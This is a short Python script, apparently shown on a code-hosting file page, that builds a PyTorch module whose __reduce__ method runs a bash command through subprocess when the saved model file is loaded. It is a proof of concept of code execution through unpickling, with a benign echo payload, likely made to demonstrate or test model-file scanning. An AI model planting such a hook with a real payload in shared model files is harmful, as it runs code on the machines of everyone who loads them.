File size: 358 Bytes
df6d864
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import torch
import subprocess

class MaliciousModule(torch.nn.Module):
    def __init__(self):
        super(MaliciousModule, self).__init__()

    def forward(self, x):
        return x

    def __reduce__(self):
        return (subprocess.check_call, ('/bin/bash -c "echo Hello from malware!"',))

model = MaliciousModule()
torch.save(model, 'm_model.pt')